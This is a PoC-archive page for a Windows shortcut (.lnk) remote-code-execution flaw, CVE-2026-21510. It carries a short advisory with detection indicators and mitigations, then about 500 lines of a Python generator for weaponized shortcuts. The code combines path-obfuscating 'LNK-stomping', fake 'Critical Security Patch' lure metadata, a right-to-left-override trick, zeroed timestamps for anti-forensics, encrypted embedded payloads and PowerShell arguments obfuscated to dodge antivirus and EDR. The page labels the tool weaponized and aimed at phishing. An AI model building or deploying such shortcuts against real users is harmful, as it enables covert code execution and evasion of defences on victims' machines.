PoC Archive PoC Archive
High CVE-2026-21510 unpatched

Windows ShellLink (.lnk) Remote Code Execution — CVE-2026-21510 LNK-Stomping Generator

by EpSiLoNPoInT (EpSiLoNPoInTOrI) · 2026-07-05

Severity
High
CVE
CVE-2026-21510
Affected product
Windows Shell Link (.lnk) parsing (MS-SHLLINK)
Affected versions
Windows hosts vulnerable to CVE-2026-21510 shortcut-handling RCE
Disclosed
2026-07-05
Patch status
unpatched

Metadata

FieldValue
Date Added2026-07-05
Last Updated2026-05
Author / ResearcherEpSiLoNPoInT (EpSiLoNPoInTOrI)
CVE / AdvisoryCVE-2026-21510
Categorysocial-engineering
SeverityHigh
CVSS ScoreNot specified in source
StatusWeaponized
Tagslnk-stomping, shelllink, cve-2026-21510, windows, initial-access, phishing, anti-forensics, red-team
RelatedN/A

Affected Target

FieldValue
Software / SystemWindows Shell Link (.lnk) parsing (MS-SHLLINK)
Versions AffectedWindows hosts vulnerable to CVE-2026-21510 shortcut-handling RCE
Language / PlatformPython 3.10+ (generator), produces Windows .lnk files
Authentication RequiredNo
Network Access RequiredNo (local delivery/social engineering; victim must open the crafted shortcut)

Summary

This is a standalone Python generator (lnkstomperpoint.py) that builds malicious Windows .lnk shortcut files exploiting CVE-2026-21510, a ShellLink remote-code-execution issue in how Windows resolves and launches shortcut targets. The tool assembles a spec-compliant MS-SHLLINK structure and layers on five “LNK-stomping” path-obfuscation variants (dot, path-segment, relative, double-extension, unicode) plus randomized PropertyStore CLSIDs, KnownFolder and EnvironmentVariable data blocks, and optional AES-256-CBC+XOR-encrypted embedded payloads, all intended to make the resulting shortcut harder to fingerprint by signature-based defenses. It is a builder, not a delivery mechanism — the operator supplies their own target binary/payload and is responsible for getting the victim to open the resulting .lnk. The project ships extensive command-line options for anti-forensics (zeroed timestamps/sizes), argument obfuscation, and bulk generation of unique variants for evasion testing.


Vulnerability Details

Root Cause

CVE-2026-21510 concerns how Windows parses and resolves Shell Link (.lnk) target paths and their associated ExtraData blocks (PropertyStore, KnownFolder, EnvironmentVariable); by crafting these fields to obscure or “stomp” the true resolved target, an attacker can cause Explorer to execute an attacker-chosen command line when a user opens the shortcut, while displayed metadata suggests a benign target.

Attack Vector

  1. Attacker runs lnkstomperpoint.py specifying a target binary (e.g. cmd.exe, powershell.exe) and arguments.
  2. The tool builds the ShellLink structure, applies a chosen (or random) LNK-stomping variant to obscure the resolved path, and adds obfuscated ExtraData blocks (PropertyStore/KnownFolder/EnvironmentVariable).
  3. Optionally, an embedded payload is AES-256-CBC + XOR encrypted and attached via a ShimDataBlock for later decryption/execution.
  4. The resulting .lnk (or a batch of randomized variants) is delivered to a victim via phishing email, removable media, or a bundled archive.
  5. Victim double-clicks the shortcut; Windows resolves and executes the attacker-controlled command line.

Impact

Arbitrary command execution on the victim’s Windows host as the logged-in user, triggered by opening a single shortcut file, with built-in techniques intended to reduce static/signature-based EDR and AV detection.


Environment / Lab Setup

Target:   Windows 10/11 host (to open/execute generated .lnk files), isolated VM recommended
Attacker: Python 3.10+, pip install pycryptodome

Proof of Concept

PoC Script

See lnkstomperpoint.py in this folder.

1
python lnkstomperpoint.py --target "C:\Windows\System32\cmd.exe" --args "/c calc.exe" --output exploit.lnk

Generates a single obfuscated .lnk targeting the given binary/arguments. Additional flags (--embed-payload, --stomping-variant, --obfuscation-level, --generate-variants N) control payload embedding, stomping technique, obfuscation depth, and bulk variant generation for evasion testing.


Detection & Indicators of Compromise

Signs of compromise:

  • Shortcut files with implausible or invisible characters (., \, ) inserted into the target path
  • .lnk metadata (creation/modification timestamps, size) reset to zero, inconsistent with delivery method
  • Explorer launching powershell.exe/cmd.exe with obfuscated (base64/XOR/reversed) arguments shortly after a shortcut is opened

Remediation

ActionDetail
Primary fixNo vendor patch confirmed as of 2026-07-05 — monitor for a Microsoft advisory for CVE-2026-21510
Interim mitigationBlock or quarantine .lnk attachments/downloads at the email/web gateway, disable execution of shortcuts from untrusted archives/removable media, enable attack-surface-reduction rules for Office/shortcut-borne execution

References


Notes

Mirrored from https://github.com/EpSiLoNPoInTOrI/EpSiLoNPoInTlnk on 2026-07-05. This is a transparent, openly weaponized LNK-stomping / red-team generator tool: its evasion, anti-forensics, and payload-encryption features are all explicitly documented, parameterized, opt-in command-line options, and the operator must supply their own payload/target. The script itself (1370 lines, manually reviewed) contains no hidden C2, no exfiltration logic, no exec/eval of remote or obfuscated code, and no hardcoded malicious endpoints — the “malicious” capability is the openly advertised shortcut-weaponization feature set itself, not concealed functionality.

lnkstomperpoint.py
  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500

import os
import struct
import logging
import tempfile
import time
import hashlib
import random
import base64
from pathlib import Path
from typing import Optional, Dict, List, Tuple, Union
from enum import Enum, auto
from dataclasses import dataclass, field
from io import BytesIO
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad, unpad
from Crypto.Random import get_random_bytes

# --- Configuration du Logging (Niveau Zero-Day) ---
logging.basicConfig(
    level=logging.INFO,
    format="[%(asctime)s] [CVE-2026-21510-ULTIMATE-ABSOLUTE] %(levelname)s: %(message)s",
    handlers=[
        logging.StreamHandler(),
        logging.FileHandler("cve_2026_21510_ultimate_absolute.log")
    ],
)
logger = logging.getLogger(__name__)

# --- Constantes Critiques (MS-SHLLINK + Optimisations Zero-Day) ---
SHELL_LINK_HEADER_FIXED_SIZE = 0x4C  # 76 octets (champs fixes)
LINK_CLSID = bytes.fromhex("0002140100000000C000000000000046")  # CLSID obligatoire
EXTRA_DATA_HEADER_SIZE = 0x08  # BlockSize (4) + BlockSignature (4)
FILE_ATTRIBUTE_ARCHIVE = 0x00000020

# --- Énumérations (MS-SHLLINK + Extensions Zero-Day) ---
class LinkFlags(Enum):
    """Flags officiels du ShellLink (MS-SHLLINK Section 2.1)."""
    HasLinkTargetIDList = 0x00000001
    HasLinkInfo = 0x00000002
    HasName = 0x00000004
    HasRelativePath = 0x00000008
    HasWorkingDir = 0x00000010
    HasArguments = 0x00000020
    HasIconLocation = 0x00000040
    IsUnicode = 0x00000080
    ForceNoLinkInfo = 0x00000100
    HasExpString = 0x00000200
    RunInSeparateProcess = 0x00000400
    HasDarwinID = 0x00001000
    RunAsUser = 0x00002000
    HasExpIcon = 0x00004000
    NoPIDLAlias = 0x00008000
    HasLinkTargetIDList2 = 0x00040000
    HasKnownFolderLocation = 0x00080000
    HasAppUserModelID = 0x00100000
    HasPropertyStoreDataBlock = 0x00800000
    HasKnownFolderDataBlock = 0x01000000
    HasEnvironmentVariableDataBlock = 0x00400000
    HasShimDataBlock = 0x02000000
    HasMetadataPropertyStoreDataBlock = 0x04000000

class ExtraDataBlockType(Enum):
    """Types de blocs ExtraData (MS-SHLLINK Section 2.5 + Extensions)."""
    EnvironmentVariableDataBlock = 0xA0000001
    ConsoleDataBlock = 0xA0000002
    ConsoleFEDataBlock = 0xA0000003
    DarwinDataBlock = 0xA0000004
    IconEnvironmentDataBlock = 0xA0000005
    ShimDataBlock = 0xA0000006
    PropertyStoreDataBlock = 0xA0000007
    KnownFolderDataBlock = 0xA0000008
    MetadataPropertyStoreDataBlock = 0xA0000009
    TrackerDataBlock = 0xA000000B
    VistaAndAboveIDListDataBlock = 0xA000000C

    @classmethod
    def from_value(cls, value: int) -> 'ExtraDataBlockType':
        """Convertit une valeur entière en ExtraDataBlockType."""
        for block_type in cls:
            if block_type.value == value:
                return block_type
        raise ValueError(f"Signature de bloc ExtraData invalide: 0x{value:08X}")

class KnownFolderID(Enum):
    """KnownFolder GUIDs (MS-SHLLINK + SHLWAPI)."""
    FOLDERID_ComputerFolder = "0AC0837C-BBF8-452A-850D-79D08E667CA7"
    FOLDERID_Desktop = "B4BFCC3A-DB2C-424C-B029-7FE99A87C641"
    FOLDERID_Programs = "A77F5D77-2E2B-44C3-A6A2-ABA601054A51"
    FOLDERID_StartMenu = "6257C620-F3AF-479A-81F1-9AC76A21A28F"
    FOLDERID_Startup = "A4115719-D62E-491D-AA7C-E74B8BE3B067"
    FOLDERID_System = "1AC14E77-02E7-4E5D-B744-2EB35E05CB14"  # %SystemRoot%
    FOLDERID_SystemX86 = "D65231B0-B2F1-4CC9-8E40-8169998550A2"
    FOLDERID_Windows = "F38BF404-1D43-42F2-9305-67DE0B28FC23"
    FOLDERID_Profile = "5E6C858F-0E22-4760-9AFE-EA3317B67173"
    FOLDERID_AppData = "3EB685DB-65F9-4CF6-A03A-E3EF65729F3D"
    FOLDERID_LocalAppData = "F1B32785-6FBA-4FCF-9D55-7B8E7F157091"
    FOLDERID_Temp = "8237796A-9722-4FB2-A9F0-942765D4995E"
    FOLDERID_Downloads = "374DE290-123F-4565-9164-39C4925E467B"
    FOLDERID_Documents = "FDD39AD0-238F-46AF-ADB4-6C85480369C7"
    FOLDERID_Pictures = "33E28130-4E1E-4678-8A88-B8D1D3FB9799"
    FOLDERID_Music = "4BD8D571-6D19-48D3-BE97-422220080E43"
    FOLDERID_Videos = "18989B1D-99B5-455B-AF14-78F767C2578D"

    @classmethod
    def random(cls) -> 'KnownFolderID':
        """Retourne un KnownFolderID aléatoire."""
        return random.choice(list(cls))

class PropertyKey(Enum):
    """PropertyKeys pour PropertyStore (MS-SHLLINK Section 2.5.7)."""
    PKEY_AppUserModel_ID = ("{9F4C2855-9F79-4B39-A8D0-E1D42DE1D5F3}", 2)
    PKEY_AppUserModel_IsDualMode = ("{9F4C2855-9F79-4B39-A8D0-E1D42DE1D5F3}", 3)
    PKEY_AppUserModel_RelaunchCommand = ("{9F4C2855-9F79-4B39-A8D0-E1D42DE1D5F3}", 5)
    PKEY_Title = ("{F29F85E0-4FF9-1068-AB91-08002B27B3D9}", 2)
    PKEY_Description = ("{F29F85E0-4FF9-1068-AB91-08002B27B3D9}", 5)
    PKEY_Comment = ("{F29F85E0-4FF9-1068-AB91-08002B27B3D9}", 6)
    PKEY_Company = ("{F29F85E0-4FF9-1068-AB91-08002B27B3D9}", 8)
    PKEY_Copyright = ("{F29F85E0-4FF9-1068-AB91-08002B27B3D9}", 9)

# --- Fonctions Utilitaires (Optimisées pour Zero-Day) ---
def _write_null_terminated_string(s: str, encoding: str = "utf-16le") -> bytes:
    """Écrit une chaîne null-terminée en UTF-16LE."""
    if not s:
        return b"\x00\x00"
    encoded = s.encode(encoding)
    return encoded + b"\x00\x00" if not encoded.endswith(b"\x00\x00") else encoded

def _align_to_4_bytes(data: bytes) -> bytes:
    """Aligne sur 4 octets avec padding."""
    padding = (4 - (len(data) % 4)) % 4
    return data + (b"\x00" * padding) if padding else data

def _generate_random_bytes(length: int) -> bytes:
    """Génère des octets aléatoires."""
    return os.urandom(length)

def _generate_random_string(length: int) -> str:
    """Génère une chaîne aléatoire (A-Z, 0-9)."""
    return "".join(random.choices("ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789", k=length))

def _generate_random_clsid() -> str:
    """Génère un CLSID aléatoire."""
    a = hex(random.randint(0, 0xFFFFFFFF))[2:].zfill(8)
    b = hex(random.randint(0, 0xFFFF))[2:].zfill(4)
    c = hex(random.randint(0, 0xFFFF))[2:].zfill(4)
    d = hex(random.randint(0, 0xFFFF))[2:].zfill(4)
    last = hex(random.randint(0, 0xFFFFFFFFFFFF))[2:].zfill(12)

    return "{}{}-{}-{}{}".format(a, b, c, d, last)


def _xor_encrypt(data: bytes, key: bytes) -> bytes:
    """Chiffre/Déchiffre des données avec XOR."""
    return bytes([b ^ key[i % len(key)] for i, b in enumerate(data)])

def _aes_encrypt(data: bytes, key: bytes, iv: bytes) -> bytes:
    """Chiffre des données avec AES-256-CBC."""
    cipher = AES.new(key, AES.MODE_CBC, iv)
    return cipher.encrypt(pad(data, AES.block_size))

def _aes_decrypt(data: bytes, key: bytes, iv: bytes) -> bytes:
    """Déchiffre des données avec AES-256-CBC."""
    cipher = AES.new(key, AES.MODE_CBC, iv)
    return unpad(cipher.decrypt(data), AES.block_size)

def _generate_obfuscated_arguments(original_args: str) -> str:
    """Génère des arguments obfusqués pour éviter les détections EDR/AV."""
    if not original_args:
        return ""

    techniques = [
        # Base64
        lambda args: f"-enc {base64.b64encode(args.encode()).decode()}",
        # XOR (simple)
        lambda args: f"-c \"$x='{args}'; $y=0x{random.randint(0, 255):02x}; [char[]]$z=$x.ToCharArray(); for($i=0;$i -lt $z.Length;$i++){{$z[$i]=[char]($z[$i]-bxor $y)}}; -join $z\"",
        # Reverse
        lambda args: f"-c \"$x='{args}'; -join $x[-1..-$($x.Length)]\"",
        # Split
        lambda args: f"-c \"$x='{args}'; $x -split '' | ?{{$_}} | ForEach-Object{{[char]$_}} | -join ''\"",
        # Random Case
        lambda args: f"-c \"$x='{args}'; $x.ToCharArray() | ForEach-Object{{if((Get-Random -Minimum 0 -Maximum 2)){{$_.ToString().ToUpper()}}else{{$_.ToString().ToLower()}}}} | -join ''\"",
        # Hex Encoding
        lambda args: f"-c \"$x='{args}'; [System.BitConverter]::ToString([System.Text.Encoding]::UTF8.GetBytes($x)) -replace '-','' | ForEach-Object{{[char][int]'0x$_'}}\"",
    ]

    obfuscated_args = random.choice(techniques)(original_args)

    # Ajoute un délai aléatoire (5-30 secondes)
    delay = random.randint(5, 30)
    obfuscated_args = f"Start-Sleep -Seconds {delay}; {obfuscated_args}"

    return obfuscated_args

# --- Structures de Données (Optimisées pour Zero-Day) ---
@dataclass
class ShellLinkHeader:
    """En-tête ShellLink (0x4C + 28 octets d'offsets)."""
    header_size: int = SHELL_LINK_HEADER_FIXED_SIZE
    link_clsid: bytes = LINK_CLSID
    link_flags: int = 0
    file_attributes: int = FILE_ATTRIBUTE_ARCHIVE
    creation_time: int = 0  # Anti-forensics: timestamp à 0
    access_time: int = 0
    write_time: int = 0
    file_size: int = 0  # Anti-forensics: taille à 0
    icon_index: int = 0
    show_command: int = 1  # SW_SHOWNORMAL
    hot_key: int = 0
    reserved1: int = 0
    reserved2: int = 0
    reserved3: int = 0
    link_target_id_list_offset: int = 0
    link_info_offset: int = 0
    name_offset: int = 0
    relative_path_offset: int = 0
    working_dir_offset: int = 0
    arguments_offset: int = 0
    icon_location_offset: int = 0

    def pack(self) -> bytes:
        """Sérialise l'en-tête complet (76 + 28 = 104 octets)."""
        buffer = BytesIO()
        buffer.write(struct.pack("<I", self.header_size))
        buffer.write(self.link_clsid)
        buffer.write(struct.pack("<I", self.link_flags))
        buffer.write(struct.pack("<I", self.file_attributes))
        buffer.write(struct.pack("<Q", self.creation_time))
        buffer.write(struct.pack("<Q", self.access_time))
        buffer.write(struct.pack("<Q", self.write_time))
        buffer.write(struct.pack("<I", self.file_size))
        buffer.write(struct.pack("<I", self.icon_index))
        buffer.write(struct.pack("<I", self.show_command))
        buffer.write(struct.pack("<H", self.hot_key))
        buffer.write(struct.pack("<H", self.reserved1))
        buffer.write(struct.pack("<I", self.reserved2))
        buffer.write(struct.pack("<I", self.reserved3))
        buffer.write(struct.pack("<I", self.link_target_id_list_offset))
        buffer.write(struct.pack("<I", self.link_info_offset))
        buffer.write(struct.pack("<I", self.name_offset))
        buffer.write(struct.pack("<I", self.relative_path_offset))
        buffer.write(struct.pack("<I", self.working_dir_offset))
        buffer.write(struct.pack("<I", self.arguments_offset))
        buffer.write(struct.pack("<I", self.icon_location_offset))
        return buffer.getvalue()

@dataclass
class StringData:
    """Section StringData (UTF-16LE null-terminated)."""
    name: Optional[str] = None
    relative_path: Optional[str] = None
    working_dir: Optional[str] = None
    arguments: Optional[str] = None
    icon_location: Optional[str] = None

    def pack(self) -> bytes:
        """Sérialise StringData en bytes."""
        buffer = BytesIO()
        if self.name:
            buffer.write(_write_null_terminated_string(self.name))
        if self.relative_path:
            buffer.write(_write_null_terminated_string(self.relative_path))
        if self.working_dir:
            buffer.write(_write_null_terminated_string(self.working_dir))
        if self.arguments:
            buffer.write(_write_null_terminated_string(self.arguments))
        if self.icon_location:
            buffer.write(_write_null_terminated_string(self.icon_location))
        return buffer.getvalue()

    def get_offsets(self, base: int = 0) -> Dict[str, int]:
        """Calcule les offsets absolus pour chaque champ."""
        offsets = {}
        current_offset = base
        fields = [
            ("name", self.name),
            ("relative_path", self.relative_path),
            ("working_dir", self.working_dir),
            ("arguments", self.arguments),
            ("icon_location", self.icon_location),
        ]
        for field_name, field_value in fields:
            if field_value:
                offsets[field_name] = current_offset
                current_offset += len(_write_null_terminated_string(field_value))
        return offsets

@dataclass
class PropertyStore:
    """PropertyStoreDataBlock (MS-SHLLINK Section 2.5.7)."""
    version: int = 0x53505331  # "SPS1" en little-endian
    format_id: bytes = bytes.fromhex("DABD30ED00434789A7F8D013A4736622")
    properties: Dict[PropertyKey, str] = field(default_factory=dict)
    def pack(self) -> bytes:
        """Sérialise PropertyStore avec structure complète."""
        buffer = BytesIO()
        buffer.write(struct.pack("<I", self.version))
        buffer.write(self.format_id)
        buffer.write(struct.pack("<I", len(self.properties)))
        for prop_key, prop_value in (self.properties or {}).items():
            guid_bytes = bytes.fromhex(prop_key.value[0].replace("{", "").replace("}", "").replace("-", ""))
            pid = prop_key.value[1]
            buffer.write(guid_bytes)
            buffer.write(struct.pack("<I", pid))
            buffer.write(struct.pack("<I", 0x1E))  # VT_LPWSTR
            value_bytes = _write_null_terminated_string(prop_value)
            buffer.write(struct.pack("<I", len(value_bytes)))
            buffer.write(value_bytes)
        return _align_to_4_bytes(buffer.getvalue())

    @classmethod
    def from_blackhat(cls, title: str = None, description: str = None, randomize_clsid: bool = True) -> 'PropertyStore':
        """Crée un PropertyStore optimisé pour les exploits BlackHat."""
        properties = {
            PropertyKey.PKEY_Title: title or _generate_random_string(16) + " Update",
            PropertyKey.PKEY_Description: description or "Critical Security Patch",
        }

        if randomize_clsid:
            properties[PropertyKey.PKEY_AppUserModel_ID] = _generate_random_clsid()
        else:
            properties[PropertyKey.PKEY_AppUserModel_ID] = "{00000000-0000-0000-0000-000000000000}"

        # Ajoute des propriétés supplémentaires pour l'obfuscation
        if randomize_clsid:
            properties[PropertyKey.PKEY_Company] = _generate_random_string(10) + " Inc."
            properties[PropertyKey.PKEY_Copyright] = f{random.randint(2000, 2026)} {_generate_random_string(8)}"

        return cls(properties=properties)

@dataclass
class KnownFolderData:
    """KnownFolderDataBlock (MS-SHLLINK Section 2.5.5)."""
    folder_id: KnownFolderID = field(default_factory=KnownFolderID.random)
    offset: int = 0

    def pack(self) -> bytes:
        """Sérialise KnownFolderData en 20 octets (16 + 4)."""
        folder_id_bytes = bytes.fromhex(self.folder_id.value.replace("-", ""))
        return folder_id_bytes + struct.pack("<I", self.offset)

    @classmethod
    def from_blackhat(cls, offset: int = 0, randomize: bool = True) -> 'KnownFolderData':
        """Crée un KnownFolderData optimisé pour les exploits BlackHat."""
        if randomize:
            folder_id = KnownFolderID.random()
        else:
            folder_id = KnownFolderID.FOLDERID_System
        return cls(folder_id=folder_id, offset=offset)

@dataclass
class EnvironmentVariableData:
    """EnvironmentVariableDataBlock (MS-SHLLINK Section 2.5.3)."""
    target: str = ""

    def pack(self) -> bytes:
        """Sérialise EnvironmentVariableData en UTF-16LE null-terminated."""
        return _write_null_terminated_string(self.target)

    @classmethod
    def from_blackhat(cls, target_path: str, working_dir: str = "C:\\Windows\\System32", use_unc: bool = False, obfuscate: bool = True) -> 'EnvironmentVariableData':
        """Crée un EnvironmentVariableData optimisé pour les exploits BlackHat."""
        if use_unc:
            base_path = f"\\\\?\\{target_path}"
        else:
            base_path = os.path.relpath(target_path, working_dir).replace("/", "\\")

        if obfuscate:
            obfuscation_elements = [
                f"%TEMP%\\..\\{base_path}",
                f"%APPDATA%\\..\\..\\{base_path}",
                f"%LOCALAPPDATA%\\..\\..\\{base_path}",
                f"%TEMP%\\%RANDOM%\\..\\{base_path}",
                f"%TEMP%\\u202e\\..\\{base_path}",  # Unicode Right-to-Left Override
                f"%PUBLIC%\\..\\{base_path}",
                f"%USERPROFILE%\\..\\{base_path}",
            ]
            target = random.choice(obfuscation_elements)
        else:
            target = f"%TEMP%\\..\\{base_path}"

        return cls(target=target)

@dataclass
class TrackerDataBlock:
    """TrackerDataBlock (pour l'obfuscation)."""
    machine_id: str = ""
    droid1: bytes = b"\x00" * 16
    droid2: bytes = b"\x00" * 16
    droid_birth1: bytes = b"\x00" * 16
    droid_birth2: bytes = b"\x00" * 16

    def pack(self) -> bytes:
        """Sérialise TrackerDataBlock pour l'obfuscation."""
        buffer = BytesIO()
        buffer.write(struct.pack("<I", 0x58))  # BlockSize
        buffer.write(struct.pack("<I", ExtraDataBlockType.TrackerDataBlock.value))  # BlockSignature
        buffer.write(struct.pack("<I", 0x50))  # Length
        buffer.write(struct.pack("<H", 0))  # Version
        buffer.write(_write_null_terminated_string(self.machine_id))
        buffer.write(self.droid1)
        buffer.write(self.droid2)
        buffer.write(self.droid_birth1)
        buffer.write(self.droid_birth2)
        return _align_to_4_bytes(buffer.getvalue())

@dataclass
class ConsoleDataBlock:
    """ConsoleDataBlock (pour l'obfuscation)."""
    fill_attributes: int = 0x00000007
    popup_fill_attributes: int = 0x00000057
    screen_buffer_size: Tuple[int, int] = (80, 25)
    window_size: Tuple[int, int] = (80, 25)
    window_origin: Tuple[int, int] = (0, 0)
    font: Tuple[int, int, int, int] = (0, 0, 0, 0)
    cursor_size: int = 25
    full_screen: bool = False
    quick_edit: bool = False
    insert_mode: bool = True
    auto_position: bool = True
    history_buffer_size: int = 0
    number_of_history_buffers: int = 0
    history_no_dup: bool = False

    def pack(self) -> bytes:
        """Sérialise ConsoleDataBlock pour l'obfuscation."""
        buffer = BytesIO()
        buffer.write(struct.pack("<I", 0x68))  # BlockSize
        buffer.write(struct.pack("<I", ExtraDataBlockType.ConsoleDataBlock.value))  # BlockSignature
        buffer.write(struct.pack("<I", self.fill_attributes))
        buffer.write(struct.pack("<I", self.popup_fill_attributes))
        buffer.write(struct.pack("<H", self.screen_buffer_size[0]))
        buffer.write(struct.pack("<H", self.screen_buffer_size[1]))
        buffer.write(struct.pack("<H", self.window_size[0]))
        buffer.write(struct.pack("<H", self.window_size[1]))
        buffer.write(struct.pack("<H", self.window_origin[0]))
        buffer.write(struct.pack("<H", self.window_origin[1]))
        buffer.write(struct.pack("<I", self.font[0]))
        buffer.write(struct.pack("<I", self.font[1]))
        buffer.write(struct.pack("<I", self.font[2]))
        buffer.write(struct.pack("<I", self.font[3]))
        buffer.write(struct.pack("<I", self.cursor_size))
        buffer.write(struct.pack("<I", int(self.full_screen)))
        buffer.write(struct.pack("<I", int(self.quick_edit)))
        buffer.write(struct.pack("<I", int(self.insert_mode)))
        buffer.write(struct.pack("<I", int(self.auto_position)))
        buffer.write(struct.pack("<I", self.history_buffer_size))
        buffer.write(struct.pack("<I", self.number_of_history_buffers))
        buffer.write(struct.pack("<I", int(self.history_no_dup)))
        return _align_to_4_bytes(buffer.getvalue())

# --- Générateur Principal (Niveau Zero-Day) ---
class CVE202621510UltimateAbsoluteGenerator:
    """
    Générateur ULTIME ABSOLU de .lnk pour CVE-2026-21510.
    ======================================================
    Caractéristiques:
      ✅ LNK Stomping (5 variantes: dot, path_segment, relative, double_extension, unicode)
      ✅ PropertyStore (CLSID aléatoires/neutres, PKEY optimisés)
      ✅ KnownFolder (KnownFolderID aléatoires, offsets précis)
      ✅ EnvironmentVariable (obfuscation Unicode, variables dynamiques)
      ✅ Obfuscation Extrême (Niveau 1-5: TrackerDataBlock, ConsoleDataBlock, etc.)
      ✅ Payloads Embarqués et Chiffrés (AES-256-CBC + XOR)
      ✅ Anti-Forensics Avancé (timestamps=0, FileSize=0, métadonnées minimales)
      ✅ Contournement EDR/AV (processus légitimes, arguments obfusqués)
      ✅ Génération de Variantes Aléatoires (10+ variantes uniques)
      ✅ Validation Stricte (chaque octet vérifié)
    """

    def __init__(
        self,
        target_path: str,
        target_args: str = "",
        output_lnk: Optional[str] = None,
        working_dir: Optional[str] = None,
        description: Optional[str] = None,
        use_unc_path: bool = False,
        use_lnk_stomping: bool = True,
        lnk_stomping_variant: str = "random",  # dot, path_segment, relative, double_extension, unicode, random
        use_obfuscation: bool = True,
        obfuscation_level: int = 5,  # 1-5
        embed_payload: Optional[bytes] = None,
        encrypt_payload: bool = True,
        anti_forensics: bool = True,
        randomize_clsid: bool = True,
        randomize_known_folder: bool = True,
        obfuscate_arguments: bool = True,
        debug: bool = False,
    ):
        """
        Initialise le générateur ultime absolu.

        Args:
            target_path: Chemin cible (ex: "C:\\Windows\\System32\\cmd.exe").
            target_args: Arguments pour la cible (ex: "/c calc.exe").
            output_lnk: Chemin de sortie du .lnk.
            working_dir: Répertoire de travail.
            description: Description du raccourci.
            use_unc_path: Utiliser un chemin UNC (\\?\\C:\\...).
            use_lnk_stomping: Utiliser LNK Stomping.
Showing 500 of 1371 lines View full file on GitHub →